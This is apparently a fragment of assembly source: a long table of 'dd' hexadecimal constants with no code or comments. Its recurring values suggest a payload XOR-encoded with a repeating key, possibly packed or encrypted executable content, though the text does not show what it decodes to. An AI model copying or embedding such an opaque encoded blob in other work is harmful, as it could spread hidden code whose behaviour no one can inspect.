dd 15679E3Dh, 9E9A8832h, 56E81B7h, 1AE12D34h, 0FC661132h dd 15668838h, 7FEB8E79h, 0EDADA666h, 0AD36C7B5h, 0EA9977CDh dd 0EC3E831Bh, 0B360A709h, 90691725h, 1566881Bh, 1CE3CFCBh dd 0FC603230h, 15661134h, 0D85C1BDBh, 0AE35A941h, 15662233h dd 0FC3DCE33h, 1566883Bh, 16F2DAA3h, 4859DBEDh, 1FE32A29h dd 1A609F94h, 15660EB7h, 1563CB32h, 6E9D1132h, 9EBBE934h dd 5785DB7h, 1575CB34h, 0C6E61132h, 79D80D29h, 0D651A0B1h dd 44B8DD6Ch, 0DC0B663Dh, 14DED8D0h, 14664432h, 18F7AF5h dd 0CA661132h, 0C70FC8A7h, 0C5536692h, 0FF292483h, 0B0E2AF5Fh dd 2EAF216Ch, 2C3BEB7h, 5FE32D34h, 1A661132h, 156682B8h dd 0F4EC2432h, 0C2E1C3B3h, 9E077044h, 54731B7h, 9E002434h dd 15E02DC5h, 74661132h, 7406DB52h, 74ACCF68h, 0EA999A62h dd 0D24FEECDh, 7ED876Ah, 75664432h, 156628DAh, 0A64C3232h dd 0F4EF1A8Bh, 4BEB4D7Ah, 0EBE31953h, 1A600697h, 156695B7h dd 90EDBD32h, 13760B03h, 73A09B52h, 0BF3359B3h, 14DC1653h dd 14662232h, 0EC064BE5h, 0A8E5E9CBh, 13765DD7h, 0DDE22D32h dd 1A661138h, 156689BDh, 905DB832h, 137187B8h, 153C943Dh dd 48F8832h, 6D664432h, 0B485575Eh, 3E2548CBh, 81C5A93Dh dd 3ED9FD04h, 2613A7B9h, 94691722h, 1566882Fh, 1571C73Dh dd 78F2232h, 53661132h, 0CBC726D8h, 3F68B3F1h, 0E2C79B42h dd 5CAF331Eh, 0EADFD9E7h, 3C99BBCDh, 188F7BFDh, 24661132h dd 85AACF7Fh, 0BFA4C115h, 1B649619h, 0B3789409h, 90698E25h dd 15664418h, 49E19C52h, 9E005845h, 90EDE9F9h, 13765AB7h dd 1561CB52h, 5BA71132h, 36C12FD9h, 4207B17Eh, 9E4226CDh dd 0D1E5350Eh, 905D7036h, 1371E1BCh, 155DA73Dh, 9E9E1132h dd 557C1B7h, 1568AD34h, 96992232h, 3862B9FBh, 171FB3Dh dd 756B3FEAh, 314AA165h, 0ED064ECDh, 15776162h, 0B85B4432h dd 561A9592h, 0D904A12Eh, 9DCD26Fh, 4E6365ABh, 87E31953h dd 1A600697h, 1566C5B7h, 4E74B32h, 0FC662232h, 1566113Eh dd 0D0A1A68Bh, 0DE08E939h, 0F1DF2FF8h, 341B94B9h, 9F698E22h dd 15664423h, 15662EDBh, 0BE4D2E32h, 0CA44BA57h, 0BEC2F4BCh dd 0EADB779Eh, 3C99EECDh dd 9E69D5DDh, 1566443Bh, 73309652h, 0A24CC8B3h, 905D7053h dd 1371E1A4h, 155BA73Dh, 9D691132h, 15668821h, 15664ADBh dd 8762D532h, 2E943714h, 0B1AE35A5h, 9EEEC071h, 57D5FB7h dd 4793E434h, 0EA997788h, 4FB16DCDh, 15662CDBh, 95CAED32h dd 0C8922B73h, 0D3487231h, 2EE5CE06h, 2C38BB7h, 53E38734h dd 1A664432h, 156632B3h, 156DF832h, 0D0C88832h, 0B7737CCEh dd 7DD05695h, 0D4DB9242h, 15609823h, 1545C13Dh, 9E9E2232h dd 56B84B7h, 55F17434h, 4D391465h, 156632DBh, 106E0F32h dd 0DBB35A2Eh, 0AF9D3554h, 24D7D7E1h, 8BE32AF6h, 1A609F97h dd 156607B7h, 0E72D32h, 0FC661132h, 15668822h, 8DB1059Eh dd 0BFAA837Eh, 0AAE313C7h, 73247FB5h, 19FBC1B9h, 1A062422h dd 156614BBh, 0CCE7EE32h, 9E360C31h, 460778CBh, 15661089h dd 4EB98932h, 14EC4BCAh, 0E9662232h, 0B0C49409h, 90698E25h dd 156644AFh, 156629DBh, 0E2A29632h, 0E7ABDBEBh, 0C5CBA9A2h dd 1575AD3Dh, 73061132h, 72C869B3h, 156643DBh, 0B6157932h dd 0F279C6DCh, 0D4DB0B53h, 15605423h, 1501A73Dh, 0AA061132h dd 3DE6EAAh, 1572AD64h, 85F62232h, 2ED65AC9h, 2D90F76Fh dd 0B3EC3F4Dh, 9942D6AEh, 743EF306h, 132B0DB9h, 73064222h dd 0D3F9FBB3h, 0D6D84753h, 9458732Dh, 0C626ABDCh, 0D4B0D57Fh dd 0D3E714DCh, 0EAEFB6C4h, 1A38B31Bh, 15663ABDh, 7E11E32h dd 0FC668832h, 1566443Fh, 0B8B44608h, 9F03E23Dh, 2F7D9AD2h dd 0B3E37F37h, 1A603597h, 156659B7h, 156C6132h, 50154432h dd 17BCCE0Fh, 314011F6h, 3CA70DB9h, 94694222h, 1566222Ah dd 156602DBh, 6D0CD132h, 470442E8h, 0F280ACCFh, 0F81D6973h dd 8619E804h, 1567FA64h, 0E2672232h, 1561F86Ch, 0A3228832h dd 1476FB0Ah, 0BFE31918h, 1A600697h, 1566B4B7h, 19EA4B32h dd 0FC662232h, 15661135h, 15BB4375h, 75A7BD4Bh, 1AAF9D3Dh dd 9E07CE85h, 56921B7h, 0AB30B834h, 0EA99DDCDh, 1A38E61Bh dd 156684BFh, 13EF4B32h, 1A662232h, 156611BAh, 0A7E3B332h dd 1A605397h, 1566A1B7h, 92697132h, 15668830h, 1E8F1B62h dd 10662232h, 9DB16038h, 8BBEC975h, 96070F2Fh, 577E38Fh dd 90691134h, 1566886Eh, 1561C23Dh, 9C692232h, 15661133h dd 0D0E303CBh, 0ED605415h, 466C9A62h, 0AC5349F4h, 0D44C073Ch dd 0EA534CD2h, 3CD0807Eh, 940649F5h, 0B35AD1D5h, 1E8F243Fh dd 5B662232h, 988EA130h, 2D1A56A2h, 740737A7h, 156631DBh dd 1124C32h, 25FFE575h, 3D931CA5h, 0B963FA5Ch, 0D1D28469h dd 0B0C80D09h, 90694225h, 1566220Dh, 1567933Dh, 969A8832h dd 577858Fh, 90692234h, 15661119h, 1CE303CBh, 75605412h dd 1566AE3Dh, 1D8E1132h, 98668832h, 6E05B9CBh, 73509DDCh dd 4B3C408Ah, 14DED853h, 14664432h, 2E937AF5h, 2C3A7B7h dd 25E38734h, 0E0664432h, 0BC7A7B9h, 9D691722h, 15668836h dd 74072452h, 6DA59F67h, 0E0E72A13h, 0D1B80F0Eh, 1A3BAB1Bh dd 156628B4h, 9B697132h, 15668832h, 2E079CB9h, 2C398B7h dd 50E31E34h, 0FC668832h, 1566443Fh, 5A442072h, 86945F64h dd 0F6774DE7h, 156FADEFh, 0B8872232h, 59C0EB2Eh, 9EB90F25h dd 56BE1B7h, 0AA694234h, 0F7E777C5h, 4607D47Bh, 15664589h dd 4EB92332h, 156616DBh, 754AF532h, 0AFE050E7h, 0B0D8A709h dd 90691725h, 15668869h, 156ECA3Dh, 93692232h, 15661130h dd 90EDE952h, 13765FA3h, 156BCB52h, 0EFA91132h, 4074AAA5h dd 3333514Fh, 944A6915h, 56ECFDC3h, 150EE964h, 9C664413h dd 1199060Eh, 90694E16h, 15668829h, 1573C73Dh, 58F2232h dd 2D661132h, 9139F68h, 56724450h, 7AEE906h, 2E9D5941h dd 2C34AB7h, 31E34B34h, 0E0662232h, 1B5794B9h, 449A8E22h dd 0EA99BB8Bh, 4CA90BCDh, 15661FDBh, 30012932h, 19AD1C9Fh dd 4B1E8CD1h, 2E703F34h, 2C34EB7h, 5DE34B34h, 1A662232h dd 156616B1h, 4A37E832h, 74059EB2h, 110BA7B9h, 1D8F1722h dd 0F668832h, 0A1A5912Bh, 421D5628h, 9E4215CDh, 0D1E5AC0Eh dd 1EEC4B36h, 0FC662232h, 15661134h, 8365F5D1h, 0FC065D73h dd 15662234h, 0AB927FDEh, 2E07767Fh, 2C38EB7h, 49E32D34h dd 0FC661132h, 15668823h, 3DDB73BCh, 619D1954h, 386BE788h dd 0EB64CC8Ch, 0CCE3CF18h, 1A60321Fh, 15661CB9h, 9469E832h dd 15664432h, 0C5270F88h, 9F697076h, 15668833h, 0EADD17CEh dd 3C99DDCDh, 0FD064AEDh, 15668834h, 958DF5DDh, 138EAB64h dd 0BC661132h, 11F9AFD8h, 1A3C1CC8h, 2E07E48Dh, 2C3DFB7h dd 3BE38734h, 0E0664432h, 9BFA7B9h, 188F1722h, 0E4668832h dd 926538C5h, 0EA8E1049h, 56B3884Ah, 9AE3062h, 6863058Ch dd 5D3DF919h, 73D1AA37h, 4DA1A150h, 0C7E37FCEh, 1A603597h dd 15669BB7h, 18EE832h, 0EB664432h, 369A74BFh, 6DB65721h dd 0A351E952h, 0BEEF48EBh, 4AC46561h, 0D2D11E52h, 156687DBh dd 0A2208432h, 3EF60260h, 80287288h, 0C2F6D1Bh, 90ED2553h dd 137634AFh, 1569F952h, 45898832h, 887F96CAh, 18299DCFh dd 0AC079BDEh, 60F83632h, 753E2856h, 1566A93Dh, 9E001132h dd 4607E9CCh, 0EA99BB89h, 4EB90BCDh, 7EB1E52h, 0FC668832h dd 1566443Fh, 0B161BC2h, 480E0825h, 0F73200ACh, 0B395FDA5h dd 2E075F67h, 56B78B7h, 79E38734h, 0FC664432h, 15662221h dd 6BD97756h, 6BE7B23Dh, 3CACE6Bh, 55894884h, 0FCD89171h dd 1566883Ah, 0C8A777BAh, 596AA4BCh, 0E6B94B9h, 91698E22h dd 15664426h, 97DC4452h, 156FF8F2h, 57538832h, 2221CA9Eh dd 741B747Eh, 1567AC67h, 0FA678832h, 0DE84B6Fh, 75662232h dd 156601DBh, 8B96BF32h, 49A79497h, 27040424h, 0B2278D5Bh dd 2E07709Fh, 2C392B7h, 20E32D34h, 0EC661132h, 0BA70DB9h dd 188F4222h, 0A6662232h, 0BF65A045h, 5B934650h, 0FE044D25h dd 14DC70CBh, 14661132h, 9569D2E5h, 1566443Eh, 1560A43Dh dd 93691132h, 15668832h, 0B374C109h, 90692425h, 156611A7h dd 0CCE7EE52h, 0ECED251Fh, 156FCB53h, 0BD0B1132h, 0E194A1FAh dd 96224510h, 2C0388Fh, 90691134h, 15668813h, 0A8E5B1CBh dd 13763EA7h, 77E21E32h, 0FC668832h, 1566443Fh, 0C5272D79h dd 3870849Fh, 0B9AF976Bh, 38E3CF6Dh, 0FC60323Ah, 15661120h dd 24A91DAEh, 63D80B28h, 0D79AC569h, 0E753E589h, 1A06FD1Ah dd 15664FB6h, 1563CA32h, 0B5021132h, 4B7D26F6h, 86B1C464h dd 9231436Bh, 9227353Eh, 1A39AC3Eh, 156648B1h, 93694232h dd 15661132h, 0D41C3154h, 3E37F53h, 1A603594h, 156692B7h dd 15636132h, 4E904432h, 9615ED55h, 2C00B8Fh, 90698834h dd 15664470h, 156AA33Dh, 95691132h, 15668834h, 1566C63Dh dd 0A8E52232h, 13760DA7h, 58E28732h, 0FC664432h, 15662226h dd 0ADD40C7Dh, 4B10731Fh, 86F26AC6h, 8F660A05h, 1C5DAD95h dd 0E3E7EE52h, 0AA69A4F4h, 90ED43E8h, 13760DE3h, 0DBEDEE52h dd 74A4CF54h, 15679B63h, 0DA671132h, 1568616Bh, 0CC6A4432h dd 0EFF93F38h, 2F040F5h, 97AED313h, 0B0BCC109h, 90692425h dd 15661162h, 8E303C7h, 7560541Fh, 156633DBh, 51E79132h dd 0BC8D9BDh, 0F55628F7h, 0FEB5B24Ah, 0CCE6FA18h, 0AE35E980h dd 0EA99BBCDh, 0FC3DFD1Bh, 1566113Ah, 36259917h, 0C80BE7BAh dd 156631DBh, 0E42A5932h dd 0D982F2E1h, 7F98062Dh, 1CE68655h, 22F4D687h, 0B0B80D09h dd 90694225h, 1566227Dh, 1569F8CBh, 2CED8832h, 0F3CFA17Bh dd 0DC0ED7AAh, 0E7930B25h, 10E303DAh, 0ED605411h, 6E449B63h dd 0CC917C8Bh, 5FE149B3h, 0D4E75E81h, 466012A8h, 1A3FDE1Bh dd 15669EB1h, 1577AD32h, 7AB72232h, 25866962h, 0DBF02E06h dd 3D74A3D3h, 2E3541A7h, 2C3F3B7h, 61E38734h, 75664432h dd 156636DAh, 4A323232h, 0BD564C00h, 3ED29627h, 7AE70F7Ch dd 0C9F43BB2h, 0C1DFEE79h, 128E1C0Bh, 92662232h, 0D89F2CF2h dd 0AA006582h, 74395BEFh, 35AFA7B9h, 48F1722h, 96668832h dd 0CE340CB6h, 13CE8982h, 0D41693F2h, 91499CCEh, 7EC2FF61h dd 0D6E76233h, 143C7127h, 212E4BB3h, 0CA67FA96h, 156BCB69h dd 0CD931132h, 10079640h, 6D9E0259h, 2E6F88CAh, 2C3F7B7h dd 0DE38734h, 0EC664432h, 1ADBA7B9h, 108F1722h, 99668832h dd 2DB125B2h, 314AA165h, 2E9E4ECDh, 2C362B7h, 56E34B34h dd 0FC662232h, 15661137h, 0F0561FEAh, 40E3CFA8h, 0E0603213h dd 1567AC67h, 0FA678832h, 0AF00246Fh, 58E377Dh, 0EA661132h dd 6782E8A7h, 8916C380h, 0EF19BACh, 0FC12367Bh, 1566883Ah dd 2763FACEh, 7D288E30h, 905D706Ch, 13712DDCh, 154BC13Dh dd 9E9E2232h, 55564B7h, 19EA8734h, 1A664432h, 156624B7h dd 15E31E32h, 45668832h, 1566458Ah, 4DA12332h, 0EFED7752h dd 82CA43B3h, 1E072440h, 3EE22DCDh, 75661132h, 0EF880954h dd 0CBD14B50h, 0F98CCB53h, 0FC06EECDh, 1566883Fh, 18116BEFh dd 0B8EF1496h, 7F6A3546h, 17E0876Fh, 75664432h, 905D4353h dd 137610F7h, 15470D3Dh, 98694432h, 1566223Ah, 1564983Dh dd 74068832h, 2BE3C9CBh, 0E9603575h, 0EA8AB6DBh, 7506E8CDh dd 2E072553h, 5669FB7h, 7EE31E34h, 0ED668832h, 15664DDBh dd 0BC03D232h, 7831BB54h, 0A8E5B69Bh, 1371E108h, 5AE32D33h dd 75661132h, 55456B3h, 58F1507h, 0F0662232h, 95AA4671h dd 2543093h, 0F1F70E2Fh, 74CFF8AFh, 156602DBh, 0A9F63332h dd 0B46E9E40h, 48EBAD02h, 4DE71D63h, 574FF01Dh, 1E01C1BFh dd 1C8F226Bh, 19661132h, 14005688h, 8D133F92h, 0EA8A09DBh dd 905DEDCDh, 13712D78h, 1541C03Dh, 1B8F2232h, 8A661132h dd 0CB84CDA4h, 0DBDD686Ch, 0D984515Eh, 5BE32AEFh, 1A609F97h dd 156606B7h, 17E82D32h, 75661132h, 0FE946153h, 198FBBCDh dd 0A2662232h, 1169E4Fh, 957650C1h, 1AB45AF7h, 15663CB2h dd 48F7132h, 0BE668832h, 0DAC69116h, 35022220h, 0F3364C80h dd 928BFAB3h, 1566CB3Dh, 7D072232h, 15661132h, 9642BCB9h dd 730640F6h, 9B69EAB9h, 15661130h, 9607E952h, 906945CCh dd 156622D6h, 15779B3Dh, 198F8832h, 5D664432h, 0D057C28Dh dd 7D1602C7h, 2E4C2348h, 2C37AB7h, 4CE32D34h, 75661132h dd 0C8B50954h, 1B8F12B1h, 8E662232h, 2DF4DF3Bh, 0B58D1969h dd 1148E037h, 98077DE9h, 4DE1D5B7h, 15756132h, 1BC74432h dd 44A6E91Eh, 88D738CBh, 6E0BE1F7h, 0FF1102B2h, 0FE5CCB57h dd 0FC06EECDh, 15668839h, 5B79ECC8h, 155EC32Bh, 467EFF38h dd 1DB36AB3h, 743C63FFh, 0B024A709h, 90691725h, 15668816h dd 2FE3C9CEh, 0E9667ABAh, 0EA8D16DBh, 81D9E8CDh, 9445F21Ah dd 15E3AFC3h, 73067021h, 0D7D979B9h, 744A037Ah, 0B020A709h dd 90691725h, 1566881Eh, 156EC63Dh, 9A692232h, 15661130h dd 90EBE952h, 153ECC4Dh, 156AA33Dh, 9B691132h, 15668834h dd 1566C63Dh, 0AC8F2232h, 0E099EED8h, 43A00164h, 1A8F1A6Ah dd 62662232h, 0A7BFB59Ch, 88099C8Eh, 38259F51h, 0C5D85D56h dd 942C7877h, 0EA9977F4h, 26A0C5CDh, 1AD3B488h, 156616BBh dd 14E18732h, 0E9664432h, 9069D439h, 1566111Bh, 749F7052h dd 0EA8C78DBh, 0FE82DCDh, 75661132h, 0FC983F3Dh, 15664422h dd 8578ADEh, 38D84546h, 3EDD183h, 0E677F1B9h, 37B64A53h dd 11EF1132h, 9269D616h, 15664433h, 0F0D3ABC7h, 1A60011Fh dd 156681B6h, 74062432h, 0F657738Dh, 0A0EF7077h, 137682A3h dd 0D5E72252h, 68F6B50h, 7D661132h, 0CAF4B73Ah, 0ACE8428Ch dd 86567795h, 0E212E721h, 9507D4BBh, 9069AD0Ch, 156622EDh dd 156D973Dh, 138F8832h, 0FB664432h, 28CF6877h, 1410EEDAh dd 9442B4B9h, 156640F6h, 12E52D32h, 1A661132h, 156689B1h dd 0FAE7BC32h, 2A23255Bh, 17B2D6B3h, 0E26784A5h, 17B2ABB3h dd 0D2E72EA5h, 2A23165Bh, 156A033Dh, 128F4432h, 95662232h dd 61328B55h, 4631447Fh, 0CAEFB7BBh, 4A9DAB69h, 1560F852h dd 0B0888832h, 1ADC7B92h, 74A8F0B2h, 152FEE5Ah, 316A0132h dd 0DC59878Bh, 57A7A307h, 941B344Eh, 921C3BF3h, 5DA7C504h dd 1470A83Bh, 58F48F9h, 43668832h, 0D0D72520h, 320A6047h dd 8341DA13h, 2E540CAFh, 54BA18Fh, 35E42D34h, 0FC661132h dd 15668820h, 8A7F30C2h, 0EDF9C9F4h, 7EBD1A59h, 2413227Eh dd 0EE5D3172h, 156BA43Dh, 0FC9A1132h, 0EA9960C3h, 1567CA3Dh dd 9E9A2232h, 56C348Fh, 0E68734h, 0FC664432h, 15662222h dd 0E6387E0Dh, 3B6186B8h, 0DCA657B7h, 42A74F0Dh, 3D3B94F5h dd 15668E22h, 95064432h, 7507AAD1h, 0E4ED7752h, 156681DBh dd 0D6799732h, 1066DB34h, 9C076CF6h, 56C1987h, 18E2434h dd 3D662232h, 56A2728Ah, 729F7FD6h, 7B7F81BFh, 403A8CCDh dd 1A7317D5h, 156688B0h, 96691D32h, 15662234h, 1566923Dh dd 98078832h, 0D4E84AFh, 94004234h, 748922C2h, 1A065BCDh dd 188F838Dh, 7F662232h, 8EC6F0C3h, 2B2457F4h, 0F68F750Eh dd 1AA62953h, 156639B6h, 156D6132h, 0C5834432h, 4DA716B3h dd 57DEC05Dh, 15E16163h, 1A064432h, 156624B7h, 15EC1E32h dd 73668832h, 81C4A6B3h, 24FBAF53h, 0FC6004A8h, 1566883Ch dd 0CA9F7BC7h, 0C12187EDh, 0D221CF4Fh, 0C69992A6h, 0EA33C73Dh dd 0EC06DDCDh, 74F6DDB2h, 1567073Dh, 9E9A4432h, 56CB387h dd 0A0EFE834h, 1376A06Fh, 15664CDBh, 6399A432h, 63EA6FD8h dd 0D8FB051Bh, 0FC60529Ch, 15662226h, 0E968E0F3h, 0ECB5F689h dd 20C832B9h, 2902AE46h, 0B4636625h, 138F5BCDh, 11664432h dd 38A53E16h, 0F0E39AD6h, 0FC60981Fh, 15664438h, 603BABB4h dd 0A440A6F8h, 90EF81AEh, 13764EA3h, 1D8E4252h, 0B9661132h dd 85830E5Bh, 4E4EBE94h, 156632DBh, 3A96BF32h, 0FA2E1F12h dd 0C533830Ch, 853B50A3h, 740770FCh, 15669BDBh, 45290832h dd 5B5E0DAAh, 633736EEh, 7A217E16h, 55CDECC4h, 1A8E1CB2h dd 1566F8B7h, 0F4D3E832h, 9607A783h, 549DF8Fh, 91691134h dd 156688E4h, 18D82452h, 7566A3A8h, 96077053h, 19EF8CDEh dd 0A541F516h, 4CAE22F0h, 156619DBh, 106A1D32h, 0AE8FFD5Ah dd 30EF2D67h, 75661132h, 156683DBh, 0CA661732h, 0BA31EE2Eh dd 0E819BBACh, 156686DBh, 0EC55E432h, 2046FF19h, 0C3C0E564h dd 74B89304h, 1575AD98h, 6C812232h, 0E5C50CF4h, 0D9CC05B8h dd 0DC828957h, 0F4A72DF9h, 21DF79A2h, 21EF8832h, 1D8F1C16h dd 71662232h, 0E8BA5D17h, 449C709Ah, 0E664D28Bh, 4CAE0B42h dd 8363E91Bh, 0FC167B30h, 15664421h, 0C5C4D640h, 8C018436h dd 0B42F5538h, 6DF88995h, 46AFB21Ch, 15661589h, 2FC88D32h dd 0CD4F4BCDh, 0EA5C8C1Fh, 0FD064A3Dh, 15668838h, 913E64B8h dd 0F351B3BDh, 7406537Ch dd 0EDCDE96Ch, 156440DBh, 88EBDA32h, 137E1EEEh, 0E0B577CBh dd 3633D9BFh, 1A06242Ah, 9F35D985h, 0EA07D1E1h, 1574ADE1h dd 0CC9E2232h, 0A8F9479Ch, 0D7B59132h, 790870CAh, 0F248BB21h dd 9069D139h, 15668810h, 156641DBh, 4CFD8B32h, 2A8FCE7Fh dd 0FC668832h, 1566443Ch, 0FF698C42h, 57F8069Fh, 2B94F375h dd 90E5475Eh, 137628A3h, 12ED1E37h, 75668832h, 0A4B6CF54h dd 8C8F430Ah, 0FC99EECCh, 1566883Ch, 0C02E39F4h, 615699Eh dd 6CD6E8E4h, 88EB7EFBh, 137E61AEh, 0EDB5DDCAh, 17E71E52h dd 9E668832h, 0D56D25E2h, 156CA73Dh, 0FC931132h, 15668800h dd 744FF552h, 1537915Ah, 316A9832h, 15668C8Bh, 4CAC4532h dd 15662ADBh, 4516332h, 1A92EDAFh, 1455AD62h, 99692232h dd 15661134h, 75AD0352h, 88EB2553h, 1373B803h, 156CF852h dd 701B8832h, 37DAA4A6h, 0A85506CBh, 1AB5EE53h, 1566D8B1h dd 1DE24B32h, 75662232h, 15669F3Dh, 1A078832h, 156645B7h dd 0A0EDDB32h, 13761BA3h, 1BE68752h, 0FD664432h, 1566223Ah dd 87379AA0h, 7EC76DE3h, 1572AD6Ch, 0FDC22232h, 1E8586C3h dd 1AA9DB41h, 902C8D37h, 9F49D805h, 0FC07D610h, 1566A33Ch dd 84EBCFC7h, 0FC603238h, 15661137h, 87B9DEDCh, 1568AD8Dh dd 99EC2232h, 7DD8F810h, 728CE1FAh, 2F331516h, 1FF797BBh dd 188F1722h, 0F0668832h, 5AEEAB50h, 8721218Eh, 6FD16F85h dd 48F149B3h, 0FCE75592h, 7C536387h, 0D4E7E01Bh, 7C53C987h dd 48F1ADB3h, 108F3392h, 0C5661132h, 0D9085C90h, 316ABB63h dd 0FCB7D56Bh, 15661122h, 7DC610B9h, 5BB648F8h, 9C29D936h dd 5114FFB6h, 1ECC66B3h, 0DB4F7134h, 1ECC9961h, 0CB672434h dd 0B1957069h, 15664ADBh, 0D1B3F232h, 3B5ADCFFh, 0F89B631Eh dd 0FCE5534Ah, 0EA99DF2Eh, 156D9C3Dh, 138F8832h, 6E664432h dd 0B48CB9F6h, 28FB9CB0h, 1A609E83h, 156665B4h, 18F4232h dd 0EA661132h, 2D31C71Bh, 2E375694h, 0A936D13Eh, 4FB77080h dd 1A076A34h, 156644BAh, 0EA9E4332h, 9C33E9E1h, 9E8E01CFh dd 0D1E5601Eh, 9E9A4236h, 904D70C3h, 13768217h, 2E04BCEh dd 75662232h, 188E7052h, 0A668832h, 8F8DE76Ch, 4B957022h dd 0CE7B3F1Dh, 90EFE96Dh, 13766DC3h, 30E3A9CEh, 75600138h dd 7D078882h, 15663245h, 75421EBBh, 9C3670CAh, 15628DD2h dd 114B4432h, 92662232h, 9C3A3536h, 9469AC36h, 1566443Ah dd 1564A03Dh, 74061132h, 0A13B05BFh, 46064224h, 22E95E8Ch dd 0EA07485Fh, 78FE8E3h, 0E7664432h, 55F22762h, 7CC3708Ch dd 0E51ADE3Fh, 7E39071Fh, 9E07D702h, 57468B7h, 1A06E834h dd 156644BEh, 20DE4432h, 0CFE770CEh, 3A331479h, 0F4EF1553h dd 1562E3B3h, 0FCE51132h, 316A0F36h, 3162CD6Eh, 7E004ACBh dd 29EF1132h, 90ED7416h, 13764E17h, 56AF4ACBh, 11EF1132h dd 15686116h, 8594432h, 5768FD90h, 79F372E5h, 999E6212h dd 0A07EC9BFh, 97692424h, 15661135h, 59523752h, 0EA0752B5h dd 1B8F42E3h, 1E661132h, 0E985B2D3h, 90D5720Ch, 0BF4EB3F4h dd 156AF86Bh, 76C18832h, 57D2AFD7h, 0AEF17B47h, 9607E179h dd 9EF8CDEh, 9CA5CD16h, 0AA0679E8h, 0DB53A71h, 0AD613F52h dd 33AA0BA0h, 9E364353h, 0D1E7353Eh, 15668836h, 156EC73Dh dd 94062232h, 0F2A2A5E5h, 984DE91Bh, 1376564Bh, 13E42D52h dd 1A661132h, 156688B1h, 7498CE32h, 3BC39FB1h, 1A661722h dd 15662BB6h, 0DFE72432h, 77408CEAh, 74B89A54h, 3CCB0DB9h dd 48F4222h, 25662232h, 4B64F502h, 0B38ECB9Ah, 206D89F0h dd 2FD2017Dh, 37DD7752h, 0DAE7EEB0h, 3E078C62h, 54887B7h dd 0A8DC7134h, 9E35113Dh, 0D45D25E1h, 153CA43Dh, 0FC061132h dd 15668826h, 728F2E0h, 90FFAA7Bh, 0B133D276h, 28D6F58Ch dd 2B3715Bh, 74A99D3Dh, 3CB394B9h, 16938E22h, 548E1B7h dd 90EFDE34h, 137630A3h, 15669BDBh, 313E0432h, 5B4B3F52h dd 867DA04Dh, 0A8AF161Eh, 0F69CC728h, 1567C8DBh, 1560F832h dd 5BA48832h, 0DAFC1C94h, 9484AB60h, 156615F0h, 118C0932h dd 92664432h, 9C3A0626h, 969A353Eh, 19EF8CDEh, 1A061C16h dd 1C8EF88Dh, 3B661132h, 1826D196h, 6063EF5h, 156636DAh dd 8A0A8B32h, 0DDE8AF41h, 999390EDh, 80E96A85h, 17A33DC2h dd 7439D607h, 0EA99FD63h, 0DD67DDCDh, 14E11E6Bh, 0E0668832h dd 9E0E1764h, 4E66D374h, 0FEE7C2C5h, 0C57A26BBh, 943D9ABBh dd 3B3454DCh, 0DBE75F7Eh, 2F8DFB2Ah, 63F48AB3h, 0D3E7048Eh dd 14660133h, 1A38783Bh, 156648B2h, 0AE004232h, 95696CFFh dd 15668832h, 0AB30BD53h, 995E3Bh, 0E3E7C7C5h, 5F7AA1BCh dd 93A0C574h, 3C39C167h, 1F8F4FC2h, 59668832h, 7784651Eh dd 949FE24h, 0B8E398CEh, 7560981Bh, 12C0A7B3h, 0FC072CF7h dd 1566113Ch, 0E829A717h, 5E69B15Bh, 7CFA33E6h, 9067A164h dd 13768E73h, 15664BDBh, 9C733B32h, 52AE97F0h, 57413F33h dd 8E10BA84h, 3BC3A7F5h, 15661722h, 7F9E8832h, 156AAD72h dd 5902232h, 7A7B4B4Ch, 0F5654F3Eh, 150ED0E7h, 0ED662222h dd 1544BE5Ah, 316A0132h, 75662EC7h, 7898D5B3h, 0FC310279h dd 1566883Ah, 0C340C6D4h, 846E0884h, 78F706Dh, 0FC668832h dd 17DCAC75h, 3C9136D6h, 7BE5FF05h, 0EDEE5AF3h, 70F3BBE8h dd 0FC60322Eh, 1566113Bh, 0ED48D8E7h, 0DB2F2422h, 3CF3DDE0h dd 0E9600133h, 3CB30DBBh, 95064222h, 0FD0649E6h, 15661121h dd 225B96E4h, 23563610h, 14B5247Fh, 0D6914FB9h, 4C101EACh dd 1566C13Dh, 74072232h, 34F794BBh, 98698E22h, 15664429h dd 1573A73Dh, 58F1132h, 6E668832h, 6755E794h, 520EB1E5h dd 0D6BE5D53h, 9EF72E3Bh, 9C35603Eh, 11A5A3D1h, 96661132h dd 9E18CF1h, 0EA9E1816h, 547B387h, 14E31E34h, 0E0668832h dd 71FF1CDh, 94692422h, 15661134h, 0A2697452h, 730625F1h dd 9569D9B9h, 15661132h, 3882E053h, 29EF4432h, 0C3E74216h dd 130256CAh, 15668FDBh, 0B5316332h, 0A9A1FDC3h, 30D3EE53h dd 0FC609838h, 1566443Fh, 4EDC918Fh, 8192DD59h, 0EDF406A3h dd 0C8E3C9D6h, 0E96034FCh, 75B6EECBh, 0D4EDEE52h, 74A6FB3Dh dd 0B0EB2353h, 7560011Ch, 9D950954h, 8182C467h, 1572CB53h dd 11511132h, 7CC6D760h, 0E0184140h, 1B31474Ch, 6F6C3578h dd 0A8ED2EE7h, 137665A3h, 0A0EDDBCAh, 1376034Bh, 156685DBh dd 1363CE32h, 0CCEA3569h, 0F6A13DB8h, 0B19594C9h, 1567CA3Dh dd 9E9A2232h, 5690087h, 0FBE7E834h, 52BF6AC5h, 1564AC3Dh dd 74061132h, 459E2553h, 0C39955Ah, 0CD917A0Bh, 0EB2F293Fh dd 80DDDB74h, 564CBA4Ah, 0E6E7F1C5h, 0F966809Ah, 9C3D5033h dd 753EB874h, 0D691CDB3h, 58F04C8h, 3F668832h, 91E68DB9h dd 6A78EA45h, 0B33A60F3h, 744EA33Ch, 0EC6384F3h, 153BF85Ah dd 317A9832h, 6BBF7A89h, 4EBE4572h, 0DFD9DB52h, 744155A2h dd 0AB30D31h, 0EC9F4222h, 34F7AFB9h, 97691722h, 15668835h dd 1567CF3Dh, 449E2232h, 115AF64h, 6167A9E0h, 9A384016h dd 664EA332h, 1A47C326h, 15669ABCh, 156BAD32h, 36D2232h dd 6219F539h, 3A1A4B6Fh, 0B876740Eh, 156AA83Dh, 9A691132h dd 15668834h, 1566C93Dh, 0A8332232h, 15661132h, 9E9AE6BBh dd 0D1E5601Eh, 1DE62D36h, 1A661132h, 15668ABAh, 9C072432h dd 5693387h, 1AE81E34h dd 0FC668832h, 15664438h, 4B92ECE1h, 0CEF207D8h, 68F5D50h dd 0B664432h, 2A5E1487h, 0C3593DF0h, 0A433B6BFh, 0A951F323h dd 0EDE51419h, 9EE31ECDh, 1A668832h, 156645B2h, 2BE7DB32h dd 0C8BBCCEFh, 151E0D3Dh, 94694432h, 15662233h, 0AA3141C7h dd 3E9CF006h, 0EF1E708Ah, 4A9E0B19h, 1A3E17BBh, 15668FB7h 